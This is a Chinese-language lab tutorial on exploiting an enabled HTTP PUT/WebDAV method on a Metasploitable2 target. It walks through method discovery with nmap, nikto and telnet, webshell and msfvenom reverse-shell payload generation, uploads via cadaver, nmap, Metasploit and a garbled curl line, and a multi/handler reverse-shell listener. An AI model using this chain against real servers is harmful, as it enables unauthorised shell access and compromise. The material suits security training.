危险的HTTP PUT
Web服务器上启用了HTTP PUT方法，配置不当可以直接上传后门文件到服务器，直接getshell。
测试环境：
攻击机器：kali linux
靶机：metasploitables2
0x001 判断
#nmap 扫
80/tcp open http Apache httpd 2.2.8 ((Ubuntu) DAV/2)
|_http-server-header: Apache/2.2.8 (Ubuntu) DAV/2查看http开启的方法
telnet 192.168.1.104 80
Trying 192.168.1.104...
Connected to 192.168.1.104.
Escape character is '^]'.
OPTIONS /dav/ HTTP/1.1
Host: 192.168.1.100
HTTP/1.1 200 OK
Date: Thu, 06 Sep 2018 23:09:39 GMT
Server: Apache/2.2.8 (Ubuntu) DAV/2
DAV: 1,2
DAV:
MS-Author-Via: DAV
Allow: OPTIONS,GET,HEAD,POST,DELETE,TRACE,PROPFIND,PROPPATCH,COPY,MOVE,LOCK,UNLOCK
使用dirb进行目录破解
dirb
dirb http://192.168.1.104/ nikto 进行漏扫
nikto -h http://192.168.1.104/dav/ #直接后门放在dav/
+ OSVDB-397: HTTP method 'PUT' allows clients to save files on the web server.nmap 对目录进行测试
nmap -sV --script http-methods --script-args http-methods.url-path='/dav',http-methods.test-all -p 80 192.168.1.104
Starting Nmap 7.70 ( https://nmap.org ) at 2018-12-13 19:01 CST
Nmap scan report for 192.168.1.104
Host is up (0.089s latency).
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.2.8 ((Ubuntu) DAV/2)
| http-methods:
| Supported Methods: GET HEAD POST OPTIONS DELETE PUT CONNECT TRACE
| Potentially risky methods: DELETE PUT CONNECT TRACE
|_ Path tested: /dav
|_http-server-header: Apache/2.2.8 (Ubuntu) DAV/2
MAC Address: F4:B7:E2:01:6D:06 (Hon Hai Precision Ind.)
0x002 后门制作
weevely generate 123www tmp.php
#如果直接msf反弹也可，不做内网渗透 我还是比较喜欢weevely
msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.1.101 LPORT=4444 -f raw > shell.php
#b374k脚本 GitHub https://github.com/b374k/b374k0x003 上传后门
WebDAV简介http://webdav.org/
cadaver : https://www.linuxidc.com/Linux/2013-05/84973.htm
cadaver -h
Usage: cadaver [OPTIONS] http://hostname[:port]/path
Port defaults to 80, path defaults to '/'
Options:
-t, --tolerant Allow cd/open into non-WebDAV enabled collection.
-r, --rcfile=FILE Read script from FILE instead of ~/.cadaverrc.
-p, --proxy=PROXY[:PORT] Use proxy host PROXY and optional proxy port PORT.
-V, --version Display version information.
-h, --help Display this help message.
Please send bug reports and feature requests to
cadaver http://192.168.1.104/dav/
dav:/dav/> PUT /root/tmp.php
Uploading /root/tmp.php to `/dav/tmp.php':
Progress: [=============================>] 100.0% of 772 bytes succeeded.
dav:/dav/>
nmap 上传
nmap -sV --script http-put --script-args http-put.url='/dav/tmp.php',http-put.file='/root/tmp.php' -p 80 192.168.1.104msf 上传
msf > search http_put
Matching Modules
================
Name Disclosure Date Rank Check Description
---- --------------- ---- ----- -----------
auxiliary/scanner/http/http_put normal Yes HTTP Writable Path PUT/DELETE File Access
msf > use auxiliary/scanner/http/http_put
msf auxiliary(scanner/http/http_put) > show options
Module options (auxiliary/scanner/http/http_put):
Name Current Setting Required Description
---- --------------- -------- -----------
ACTION PUT yes PUT or DELETE
FILEDATA msf test file no The data to upload into the file
FILENAME msf_http_put_test.txt yes The file to attempt to write or delete
PATH / yes The path to attempt to write or delete
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target address range or CIDR identifier
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
THREADS 1 yes The number of concurrent threads
VHOST no HTTP server virtual host
Auxiliary action:
Name Description
---- -----------
PUT
msf auxiliary(scanner/http/http_put) > set rhosts 192.168.1.104
rhosts => 192.168.1.104
msf auxiliary(scanner/http/http_put) > set rport 80
rport => 80
msf auxiliary(scanner/http/http_put) > set path /dav
path => /dav
msf auxiliary(scanner/http/http_put) > set filename shell.php
filename => shell.php
msf auxiliary(scanner/http/http_put) > set filedata file://root/shell.php
filedata => file://root/shell.php
msf auxiliary(scanner/http/http_put) > run #省略一大堆上传的时候产生的数据 失败的时候会报 红
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completedcurl 上传
curl -i -X PUT -H“Content-Type：text / plain; charset = utf-8“-d”/root/tmp.php“http://192.168.1.104/dav/tmp.php0x004 getshell
weevely http://192.168.1.104/dav/tmp.php 123www msf auxiliary(scanner/http/http_put) > back
msf > use exploit/multi/handler
msf exploit(multi/handler) > set payload php/meterpreter/reverse_tcp
payload => php/meterpreter/reverse_tcp
msf exploit(multi/handler) > set lhost 192.168.1.101
lhost => 192.168.1.101
msf exploit(multi/handler) > exploit
总结：
一个个小小的错误就可能导致预料不到的严重后果，尤其在这个泛滥的时代。通过对这次漏洞利用的学习，还有很多知识的盲区需要学习。